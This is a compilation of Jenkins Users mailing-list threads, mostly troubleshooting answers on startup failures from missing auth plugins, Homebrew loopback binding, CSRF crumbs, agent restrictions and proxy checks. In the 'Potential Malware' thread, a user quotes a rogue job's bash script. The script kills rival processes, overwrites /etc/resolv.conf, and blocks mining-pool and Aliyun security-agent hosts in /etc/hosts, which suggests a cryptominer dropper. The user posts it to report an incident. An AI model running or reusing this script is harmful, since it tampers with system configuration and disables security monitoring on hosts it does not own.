> com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:48)
> at
> hudson.util.RobustReflectionConverter.determineType(RobustReflectionConverter.java:476)
> at
> hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:326)
> Caused: jenkins.util.xstream.CriticalXStreamException:
> com.michelin.cio.hudson.plugins.rolestrategy.RoleBasedAuthorizationStrategy
> :
> com.michelin.cio.hudson.plugins.rolestrategy.RoleBasedAuthorizationStrategy
>  Debugging information  message :
> com.michelin.cio.hudson.plugins.rolestrategy.RoleBasedAuthorizationStrategy
> cause-exception :
> com.thoughtworks.xstream.mapper.CannotResolveClassException cause-message :
> com.michelin.cio.hudson.plugins.rolestrategy.RoleBasedAuthorizationStrategy
> class : hudson.model.Hudson required-type : hudson.model.Hudson
> converter-type : hudson.util.RobustReflectionConverter path :
> /hudson/authorizationStrategy line number : 14 version : not available
>
> The issue is also described at
> https://stackoverflow.com/questions/55429268/jenkins-unable-to-read-config-xml-hudson-security-globalmatrixauthorizationstra,
> however the solution described there does not really help me.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/386a8b43-9864-4a33-8396-3698edb327f9n%40googlegroups.com
> <https://groups.google.com/d/msgid/jenkinsci-users/386a8b43-9864-4a33-8396-3698edb327f9n%40googlegroups.com?utm_medium=email_source=footer>
> .
>


-- 

Daniel Beck
Senior Software Engineer
CloudBees, Inc.

-- 
You received this messag

Re: Login Problems with issues.jenkins-ci.org - who to contact?

[Daniel Beck]

Looks like an infra issue. I filed INFRA-2835 for a possible explanation.

There's nothing you can do about it at the moment. Your accounts, for now, will 
not work in Jira. Most notably, registering new accounts won't work either.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/EF03F02E-26F2-49FC-96DB-7CD930AD29FD%40beckweb.net.

Re: How to access jenkins using ip address remotely ?

[Daniel Beck]

> On 20. Oct 2020, at 07:22, Vaibhav Khachane  wrote:
> 
> I am trying to access jenkins using ip address but it is not working . I am 
> using macOS.
> 
> Following jenkins url working fine
> http://localhost:8080/
> http://127.0.0.1:8080/
> http://0.0.0.0:8080/
> 
> but while using ip adress of my machine it is not working
> http://(ip address of my. machine ):8080/

Jenkins installed via Homebrew only listens on the loopback interface, so this 
is expected. Why they do this, I have no idea. Perhaps our former (2016 and 
earlier) lack of having a secure configuration out of the box.

https://github.com/Homebrew/homebrew-core/blob/0a483dc47a7f30266b626f1bfcf465c733c880b8/Formula/jenkins.rb#L55
https://github.com/Homebrew/homebrew-core/blob/0a483dc47a7f30266b626f1bfcf465c733c880b8/Formula/jenkins-lts.rb#L46

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/4A5E9ECF-D696-4348-8719-BA5A11D9AB0A%40beckweb.net.

Re: How to access jenkins using ip address remotely ?

[Daniel Beck]

> On 20. Oct 2020, at 07:22, Vaibhav Khachane  wrote:
> 
> I am trying to access jenkins using ip address but it is not working . I am 
> using macOS.
> 
> Following jenkins url working fine
> http://localhost:8080/
> http://127.0.0.1:8080/
> http://0.0.0.0:8080/
> 
> but while using ip adress of my machine it is not working
> http://(ip address of my. machine ):8080/

Jenkins installed via Homebrew only listens on the loopback interface, so this 
is expected. Why they do this, I have no idea. Perhaps our former (2016 and 
earlier) lack of having a secure configuration out of the box.

https://github.com/Homebrew/homebrew-core/blob/0a483dc47a7f30266b626f1bfcf465c733c880b8/Formula/jenkins.rb#L55
https://github.com/Homebrew/homebrew-core/blob/0a483dc47a7f30266b626f1bfcf465c733c880b8/Formula/jenkins-lts.rb#L46

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/306846EF-A0BB-49E1-8C6D-13EEB2EB3BFD%40beckweb.net.

Re: Unauthorized URL redirect via HTTP host poisoning vulnerability with Jenkins

[Daniel Beck]

> On 25. Sep 2020, at 23:49, Mohtashim S  wrote:
> 
> How do we address this vulnerability of Jenkins?

https://www.jenkins.io/security/#reporting-vulnerabilities explains how to 
report security issues.

Please make sure in your report to explain why it is a problem for Jenkins 
beyond linking to the top Google result. We've previously looked into it and 
determined that this is unlikely to cause real issues, and have prioritized 
related improvements accordingly.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/5400E656-6D76-43D0-ADF0-1630073A1A2C%40beckweb.net.

Re: Shell command with (

[Daniel Beck]

> On 30. Jun 2020, at 18:27, Jérôme Godbout  wrote:
> 
> What the hell is sh is doing?

It's not automatically applying your .bash_profile or .bashrc to a standalone 
script, as such an environment dependency would severely limit the reusability 
of shell scripts.

You need to set the extglob shell option for this shell script if you want to 
use this feature.

Compare:

1. bash -c 'ls !(foo)'
2. bash -O extglob -c 'ls !(foo)'

See `man bash`, specifically EXPANSION -> Pathname Expansion -> Pattern 
Matching.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/3388A299-D679-4999-AA4B-D96E155FE55E%40beckweb.net.

Re: Upgrading from 2.164.1 to 2.235.1

[Daniel Beck]

ss(MapperDelegate.java:43)
>
> at
> com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)
>
> at
> com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:48)
>
> at
> hudson.util.RobustReflectionConverter.determineType(RobustReflectionConverter.java:476)
>
> at
> hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:326)
>
> Caused: jenkins.util.xstream.CriticalXStreamException:
> hudson.security.ProjectMatrixAuthorizationStrategy :
> hudson.security.ProjectMatrixAuthorizationStrategy
>
>  Debugging information 
>
> message : hudson.security.ProjectMatrixAuthorizationStrategy
>
> cause-exception :
> com.thoughtworks.xstream.mapper.CannotResolveClassException
>
> cause-message   : hudson.security.ProjectMatrixAuthorizationStrategy
>
> class   : hudson.model.Hudson
>
> required-type   : hudson.model.Hudson
>
> converter-type  : hudson.util.RobustReflectionConverter
>
> path: /hudson/authorizationStrategy
>
> line number : 16
>
> version : not available
>
> ---
>
> at
> hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:355)
>
> at
> hudson.util.RobustReflectionConverter.unmarshal(RobustReflectionConverter.java:269)
>
> at
> com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
>
> at
> com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65)
>
> at
> com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
>
> at
> com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
>
> at
> com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
>
> at
> com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
>
> at
> com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1189)
>
> at hudson.util.XStream2.unmarshal(XStream2.java:161)
>
> at hudson.util.XStream2.unmarshal(XStream2.java:132)
>
> at
> com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1173)
>
> at hudson.XmlFile.unmarshal(XmlFile.java:180)
>
> Caused: java.io.IOException: Unable to read /var/lib/jenkins/config.xml
>
> at hudson.XmlFile.unmarshal(XmlFile.java:183)
>
> at hudson.XmlFile.unmarshal(XmlFile.java:163)
>
> at jenkins.model.Jenkins.loadConfig(Jenkins.java:3147)
>
> at jenkins.model.Jenkins.access$1200(Jenkins.java:318)
>
> at jenkins.model.Jenkins$13.run(Jenkins.java:3248)
>
> at
> org.jvnet.hudson.reactor.TaskGraphBuilder$TaskImpl.run(TaskGraphBuilder.java:169)
>
> at
> org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:296)
>
> at jenkins.model.Jenkins$5.runTask(Jenkins.java:1131)
>
> at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:214)
>
> at
> org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:117)
>
> at
> jenkins.security.ImpersonatingExecutorService$1.run(ImpersonatingExecutorService.java:59)
>
> at
> java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
>
> at
> java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
>
> at java.lang.Thread.run(Thread.java:745)
>
> Caused: org.jvnet.hudson.reactor.ReactorException
>
> at
> org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:282)
>
> at jenkins.InitReactorRunner.run(InitReactorRunner.java:50)
>
> at jenkins.model.Jenkins.executeReactor(Jenkins.java:1164)
>
> at jenkins.model.Jenkins.(Jenkins.java:964)
>
> at hudson.model.Hudson.(Hudson.java:85)
>
> at hudson.model.Hudson.(Hudson.java:81)
>
> at hudson.WebAppMain$3.run(WebAppMain.java:262)
>
> Caused: hudson.util.HudsonFailedToLoad
>
> at hudson.WebAppMain$3.run(WebAppMain.java:279)
>
> Page generated:
>
> Jun 19, 2020 7:30:09 PM MDT
> Jenkins 2.235.1
>
>
>
>
> --
> You received this message because you are subscribed to t

Re: Potential Malware

[Daniel Beck]

Thanks for your report.

I filed an issue on your behalf in the Jenkins project's private security issue 
tracker. You should have gotten an email notification from Jira about it. 
Please provide more information there to help us investigate.


> On 22. Jun 2020, at 19:15, Randall Becker  wrote:
> 
> Hi All,
> 
> We just installed Jenkins 2.240 and suddenly there is a job with some really 
> strange content, including:
> 
> #!/bin/bash
> 
> threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head 
> -n 1);
> hostHash=$(hostname -f | md5sum | cut -c1-8);
> echo "${hostHash} - ${threadCount}";
> ktr () {
> killall trace;pkill -9 -f trace;killall -s SIGKILL trace
> killall vunix;pkill -9 -f vunix;killall -s SIGKILL vunix
> killall viunix;pkill viunix;killall -s SIGKILL viunix
> kill -9 $(ps -ux | grep trace | awk '{ print $2 }')
> kill -9 $(ps -ux | grep vunix | awk '{ print $2 }')
> kill -9 $(ps -ux | grep viunix | awk '{ print $2 }')
> echo kill
> }
> 
> ktr
> ktr
> ktr
> echo plsfoodforcatsnlove
> echo 'nameserver 1.1.1.1' > /etc/resolv.conf;echo 'nameserver 8.8.8.8' >> 
> /etc/resolv.conf;echo 'nameserver 180.76.76.76' >> /etc/resolv.conf
> echo "0.0.0.0 blockchain.info" >> /etc/hosts;echo "0.0.0.0 35.225.36.167" >> 
> /etc/hosts;echo "0.0.0.0 100.100.25.3 jsrv.aegis.aliyun.com" >> /etc/hosts
> echo "0.0.0.0 100.100.25.4 update.aegis.aliyun.co" >> /etc/hosts;echo 
> "0.0.0.0 185.164.72.119" >> /etc/hosts;echo "0.0.0.0 163.172.191.181" >> 
> /etc/hosts
> echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts;echo "0.0.0.0 
> pinto.mamointernet.icu" >> /etc/hosts;echo "0.0.0.0 sdk.bce.baidu.com" >> 
> /etc/hosts
> echo "0.0.0.0 lsd.systemten.org" >> /etc/hosts;
> echo "0.0.0.0 pool.minexmr.com" >> /etc/hosts
> echo "0.0.0.0 minexmr.com" >> /etc/hosts
> 
> This is really creepy because this script cannot possibly run on our system 
> (the good part). The bad part is that no one in our organization created this 
> job. Is it possible that there is some malware floating around? Our Jenkins 
> instance is hiding behind a firewall so there's no way in.
> 
> Thanks,
> Randall
> 
> -- 
> You received this message because you are subscribed to the Google Groups 
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an 
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit 
> https://groups.google.com/d/msgid/jenkinsci-users/389e7848-bad2-4044-ab9d-c3fd0f106256o%40googlegroups.com.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/7C344B12-6DD6-42AD-B5F3-687EEC6012C8%40beckweb.net.

Re: Jenkins is not starting

[Daniel Beck]

The configuration references the matrix-auth plugin, but it is disabled or 
failed to load.

> On 10. May 2020, at 16:57, Mai Waly  wrote:
> 
> Hi All, 
> 
> Please advise what happen as Jenkins is no longer starting and showing error, 
> there is no gui any more. 
> 
> 
> ay 10, 2020 7:48:13 AM hudson.util.BootFailure publish
> SEVERE: Failed to initialize Jenkins
> hudson.util.HudsonFailedToLoad: org.jvnet.hudson.reactor.ReactorException: 
> java.io.IOException: Unable to read /jenkins/config.xml
> at hudson.WebAppMain$3.run(WebAppMain.java:244)
> Caused by: org.jvnet.hudson.reactor.ReactorException: java.io.IOException: 
> Unable to read /jenkins/config.xml
> at org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:269)
> at jenkins.InitReactorRunner.run(InitReactorRunner.java:45)
> at jenkins.model.Jenkins.executeReactor(Jenkins.java:1009)
> at jenkins.model.Jenkins.(Jenkins.java:877)
> at hudson.model.Hudson.(Hudson.java:85)
> at hudson.model.Hudson.(Hudson.java:81)
> at hudson.WebAppMain$3.run(WebAppMain.java:227)
> Caused by: java.io.IOException: Unable to read /jenkins/config.xml
> at hudson.XmlFile.unmarshal(XmlFile.java:165)
> at jenkins.model.Jenkins.loadConfig(Jenkins.java:2785)
> at jenkins.model.Jenkins.access$700(Jenkins.java:324)
> at jenkins.model.Jenkins$16.run(Jenkins.java:2803)
> at 
> org.jvnet.hudson.reactor.TaskGraphBuilder$TaskImpl.run(TaskGraphBuilder.java:169)
> at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:282)
> at jenkins.model.Jenkins$7.runTask(Jenkins.java:998)
> at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:210)
> at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:117)
> at 
> java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
> at 
> java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> at java.lang.Thread.run(Thread.java:745)
> Caused by: jenkins.util.xstream.CriticalXStreamException: 
> hudson.security.ProjectMatrixAuthorizationStrategy : 
> hudson.security.ProjectMatrixAuthorizationStrategy
>  Debugging information 
> message : hudson.security.ProjectMatrixAuthorizationStrategy
> cause-exception : 
> com.thoughtworks.xstream.mapper.CannotResolveClassException
> cause-message   : hudson.security.ProjectMatrixAuthorizationStrategy
> class   : hudson.model.Hudson
> required-type   : hudson.model.Hudson
> converter-type  : hudson.util.RobustReflectionConverter
> path: /hudson/authorizationStrategy
> line number : 8
> version : not available
> 
> 
> Thanks & BRs,
> Mai Saleh
> 
> -- 
> You received this message because you are subscribed to the Google Groups 
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an 
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit 
> https://groups.google.com/d/msgid/jenkinsci-users/e571e5d3-4510-4683-952e-fb30f46dfec5%40googlegroups.com.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/2DBA350C-C39D-4977-9C17-1D07C3EF9CCE%40beckweb.net.

Re: I can't get anything to work with bat in pipeline jenkinsfile

[Daniel Butler]

in the code snippet it should have had a second line:

echo output

On Fri, Mar 27, 2020 at 1:09 PM Daniel Butler 
wrote:

> If you want to see the bat file output, remove the returnStdOut. You only
> need that if you want to assign the output to variable and use it later in
> the pipeline.
> if you still want it in the logging as well as a variable:
>
> output = bat returnStdout: true, script: 'echo %PATH%'
>
>
>
>
> On Fri, 27 Mar 2020, 12:40 wowberk,  wrote:
>
>> Hi all,
>>
>> I have uploaded this file.jenkinsfile in a repository
>>
>> pipeline {
>> agent any
>> options {
>> timeout(4)
>> }
>>
>>
>> stages {
>> stage('SmokeTest Login') {
>> steps {
>> sleep 15
>> echo 'SmokeTest Login Init..'
>> bat returnStdout: true, script: 'echo %PATH%'
>> echo 'SmokeTest Login Finished..'
>> }
>> }
>>
>> }
>>
>>
>>
>> but i can't get jenkins to return anything on screen or continue or
>> showing any kind of error.
>>
>>
>> [Pipeline] { 
>> <http://automatizaciones.euskaltel.com:/job/902.NEW%20EKTNET_ChequearPREProducci%C3%B3n/50/console#>[Pipeline]
>>  stage 
>> <http://automatizaciones.euskaltel.com:/job/902.NEW%20EKTNET_ChequearPREProducci%C3%B3n/50/console#>[Pipeline]
>>  { (SmokeTest Login) 
>> <http://automatizaciones.euskaltel.com:/job/902.NEW%20EKTNET_ChequearPREProducci%C3%B3n/50/console#>[Pipeline]
>>  sleep 
>> <http://automatizaciones.euskaltel.com:/job/902.NEW%20EKTNET_ChequearPREProducci%C3%B3n/50/console#>Sleeping
>>  for 15 sec[Pipeline] echo 
>> <http://automatizaciones.euskaltel.com:/job/902.NEW%20EKTNET_ChequearPREProducci%C3%B3n/50/console#>SmokeTest
>>  Login Init..[Pipeline] bat 
>> <http://automatizaciones.euskaltel.com:/job/902.NEW%20EKTNET_ChequearPREProducci%C3%B3n/50/console#>Cancelling
>>  nested steps due to timeoutSending interrupt signal to process
>> After 20s process did not stop[Pipeline] }
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to jenkinsci-users+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/jenkinsci-users/c70ebdda-42ab-4a85-83ea-f6c711cd7f4b%40googlegroups.com
>> <https://groups.google.com/d/msgid/jenkinsci-users/c70ebdda-42ab-4a85-83ea-f6c711cd7f4b%40googlegroups.com?utm_medium=email_source=footer>
>> .
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAO37hbhN5Kyvq7SNh4r_qJ%3DTpJE--Tsw8RWg__gAhaD-OEkDQg%40mail.gmail.com.

Re: I can't get anything to work with bat in pipeline jenkinsfile

[Daniel Butler]

If you want to see the bat file output, remove the returnStdOut. You only
need that if you want to assign the output to variable and use it later in
the pipeline.
if you still want it in the logging as well as a variable:

output = bat returnStdout: true, script: 'echo %PATH%'




On Fri, 27 Mar 2020, 12:40 wowberk,  wrote:

> Hi all,
>
> I have uploaded this file.jenkinsfile in a repository
>
> pipeline {
> agent any
> options {
> timeout(4)
> }
>
>
> stages {
> stage('SmokeTest Login') {
> steps {
> sleep 15
> echo 'SmokeTest Login Init..'
> bat returnStdout: true, script: 'echo %PATH%'
> echo 'SmokeTest Login Finished..'
> }
> }
>
> }
>
>
>
> but i can't get jenkins to return anything on screen or continue or
> showing any kind of error.
>
>
> [Pipeline] { 
> [Pipeline]
>  stage 
> [Pipeline]
>  { (SmokeTest Login) 
> [Pipeline]
>  sleep 
> Sleeping
>  for 15 sec[Pipeline] echo 
> SmokeTest
>  Login Init..[Pipeline] bat 
> Cancelling
>  nested steps due to timeoutSending interrupt signal to process
> After 20s process did not stop[Pipeline] }
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/c70ebdda-42ab-4a85-83ea-f6c711cd7f4b%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAO37hbgeDiR2DSEvjzLROK3WNRmRzC3LRC7RcwLRa8FfGQOrEA%40mail.gmail.com.

Re: Security for team-specific nodes

[Daniel Beck]

> On 25. Mar 2020, at 14:25, Roland Asmann  wrote:
> 
> Now, I was wondering if it was possible to configure nodes to be only used by 
> certain people/groups/jobs/..., or even better, have the UI hide them from 
> people that are not supposed to use them?
> 
> We are currently using Project-based security with LDAP and the Folder Plugin 
> --> Every Project has a Group in LDAP and a folder in Jenkins where they have 
> their jobs. It would be great if I can somehow 'connect' a server to one or 
> more group(s) or folder(s).

The Build Authorization mechanism does that by associating user authentications 
with running builds, and using the Agent/Build permission to control who gets 
to use an agent (it's a different permission than Job/Build): 
https://plugins.jenkins.io/authorize-project

An easier approach would be plugins like 
https://plugins.jenkins.io/job-restrictions/ that use a different mechanism to 
limit which jobs are allowed to build on a node that is easier to introduce to 
an existing setup.

Neither of the plugins is all that well maintained at the moment, I think, but 
maybe they're good enough in their current state.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/188E47A8-9985-47A6-9C52-227373F1E8FD%40beckweb.net.

Re: No valid crumb - scm trigger doesn't work since 2.222 - pull 4509

[Daniel Beck]

> On 9. Mar 2020, at 13:06, Stölzer Sven  wrote:
> 
> it seems that since version 2.222 the scm trigger doesn’t work.
> The requested Crumb form jenkins server was correctly included in the post 
> commit hook see attachment.

It's unclear to me what happened here.

If Jenkins was already configured to require CSRF crumbs before the update, 
then nothing should have changed.

If that wasn't the case however, but the script already submitted CSRF crumbs, 
those should have been unnecessary in the past…? So why did it do that? Who or 
what generated that command?

If you recently adapted your script to submit CSRF crumbs after the update, you 
didn't do it quite right. Why, and how to solve it, is explained at 
https://jenkins.io/doc/upgrade-guide/2.176/#SECURITY-626

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/64A3271B-9DB6-40E8-ABAD-48FFE689B5E5%40beckweb.net.

How do you configure the "Resource root URL" behind a reverse proxy?

[Daniel Schmidt]

The question's in the title — how do you actually configure this?

We run Jenkins behind NGINX. As a first-pass, I simply added our assets 
domain as an additional server_name to the previous, working server 
configuration (which is modeled off of the documentation 
). 
This doesn't work, however:

   - On the configuration page, the entry for Resource Root URL shows the 
   error "An error occurred when checking the instance identity at that URL: 
   404 Not Found ". If you visit the root URL directly, you get a page saying 
   "HTTP ERROR 404 Jenkins serves only static files on this domain."
   - Every asset URL page returns a 403 Forbidden saying that the user 
   lacks the overall/read permission, even though that user *should* have 
   the permission (and does, at least on the primary domain).

Is there any further documentation about this?

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/13966784-5481-41ec-9ced-8069a9cd0eb9%40googlegroups.com.

Is it possible to log ENV for all pipelines?

[Daniel Schmidt]

Hi folks,

Many of our Declarative Pipeline jobs start off by printing environment 
variables, which aids in debugging (should that be necessary). In other 
words, the first stage of every job includes this step:
sh "env | sort"

Is it possible to hook this into all pipelines automatically, e.g. with a 
"pipeline decorator" or metaprogramming? Alternatively, is there a better 
solution for inspecting the ENV of builds which have already completed?

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/b5e83af4-9584-4849-8730-85b0bd2191b7%40googlegroups.com.

Re: Git Commit Message as an Environment Variable

[Daniel Beck]

I have a (never released) plugin that integrates with the Jenkins changelog
that does something like this:
https://github.com/daniel-beck/changelog-environment-plugin

If you know enough Maven to build a plugin, this might work. The problem
there is that the Jenkins built-in changelog doesn't handle PRs/branches
well: The first builds always have no changelogs (since there's no
reference to compare them to).

But I expect it's easier and more reliable to just call e.g. git show
--no-patch --format='format:%s%n%n%b' and use its output (with some extra
work to get around merge commits and such, depending on exactly what you
want).

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2B-mkD_y_R%2Bhe2G%3DOd5CqgyrWfq9tZfZ450nWnedwjbOw%40mail.gmail.com.

Re: A file read permissions - Jenkins security

[Daniel Beck]

The first build step is running on an agent, and you use Java APIs to try
to access the file (which look on the master filesystem).

https://wiki.jenkins.io/display/JENKINS/Distributed+builds

On Wed, Oct 23, 2019 at 6:19 PM Tal Yanai  wrote:

> Hi,
>
> I have 2 steps running one after the other.
>
> The first step is a Linux shell execution, that simply produce an input
> file for the second step.  Something basic like echo "blabla" >
> /tmp/input.txt
> The second step is a Java based plugin that is trying to read the input
> file, but failed complaining the file doesn't exist.
>
> For many years now, this was not a problem, but lately we have a customer
> that is facing such problem.
>
> What can be set wrong in Jenkins that prevent from the second step to read
> the file?  (the file have read permissions on the disk, and is created by
> user root, not by the user who is logged into the Jenkins)
>
> Thanks,
>
> Tal.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/fc043cad-aa49-4fb6-a552-f2da83c6954c%40googlegroups.com
> <https://groups.google.com/d/msgid/jenkinsci-users/fc043cad-aa49-4fb6-a552-f2da83c6954c%40googlegroups.com?utm_medium=email_source=footer>
> .
>


-- 

Daniel Beck
Senior Software Engineer
CloudBees, Inc.

[image: CloudBees-Logo.png]

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAMo7Pt%2Bt_Vs05PrWr2t7SrWpmZcxugP35Xv6dBGyQJx9%3DfUiEQ%40mail.gmail.com.

Re: Gradle Tool Failed Download

[Daniel Beck]

Run the following in the Jenkins script console:

hudson.ProxyConfiguration.getInputStream(new URL("
https://services.gradle.org/distributions/gradle-5.6.2-bin.zip;)).text.substring(0,
100)

Note that this loads the entire downloaded file, if successful, into
memory, so not quite production quality code ;-)

Replace the URL as needed to try whatever URLs are listed as being
downloaded with the different installers. The expectation for zip files is
that the output starts with "PK". If the same exception gets thrown for
Groovy/Gradle, while Maven works, it's SSL after all. (Gradle Wrapper would
run probably on a different machine, with different JRE, so that doesn't
tell you much.)


On Wed, Sep 25, 2019 at 10:59 AM Sverre Moe  wrote:

> Both the MavenInstaller and GradleInstaller are very similar
>
> public static class MavenInstaller extends DownloadFromUrlInstaller {
> public class GradleInstaller extends DownloadFromUrlInstaller {
>
> I thought perhaps they used different implementation, and that was the
> reason for why GradleInstaller had problems.
>
> https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/tasks/Maven.java
>
> https://github.com/jenkinsci/gradle-plugin/blob/master/src/main/java/hudson/plugins/gradle/GradleInstaller.java
>
>
> Both Jenkins Server and Build agents are behind a firewall. The Jenkins
> has proxy configured, but the build agents do not have any proxy configured.
> I have same problem using Gradle wrapper, but as mentioned earlier here
> gradle wrapper works if I configure proxy properties.
>
>
> onsdag 25. september 2019 10.41.32 UTC+2 skrev Sverre Moe følgende:
>>
>> Which projects has the source code for the Maven, Gradle and Groovy Tool
>> installers? I want to have a check to see if there is something to be done
>> on the Gradle and Groovy tool installers.
>>
>> onsdag 25. september 2019 10.30.17 UTC+2 skrev Sverre Moe følgende:
>>>
>>> The Gradle tool installer is not the only tool having this problem. I am
>>> getting the same SSL problem with Groovy tool installers.
>>>
>>> Makes me wonder, what does the maven tool installer do different than
>>> the Gradle and Groovy tool installers.
>>>
>>> mandag 23. september 2019 22.26.10 UTC+2 skrev Sverre Moe følgende:
>>>>
>>>> I have gotten this problem both for Jenkins running Java 8u221 and Java
>>>> 11.0.4+11. The latest for both 8 and 11.
>>>>
>>>> Maven tool download works just fine, using the same JDK, so why would
>>>> the gradle installer have a problem?
>>>>
>>>> I do not like to check in the gradle wrapper files into version
>>>> control, but considering it might ease new developers I am beginning to
>>>> lean into it.
>>>>
>>>> mandag 23. september 2019 18.25.04 UTC+2 skrev Jan Monterrubio følgende:
>>>>>
>>>>> I’ve always relied on projects supplying the gradle wrapper instead...
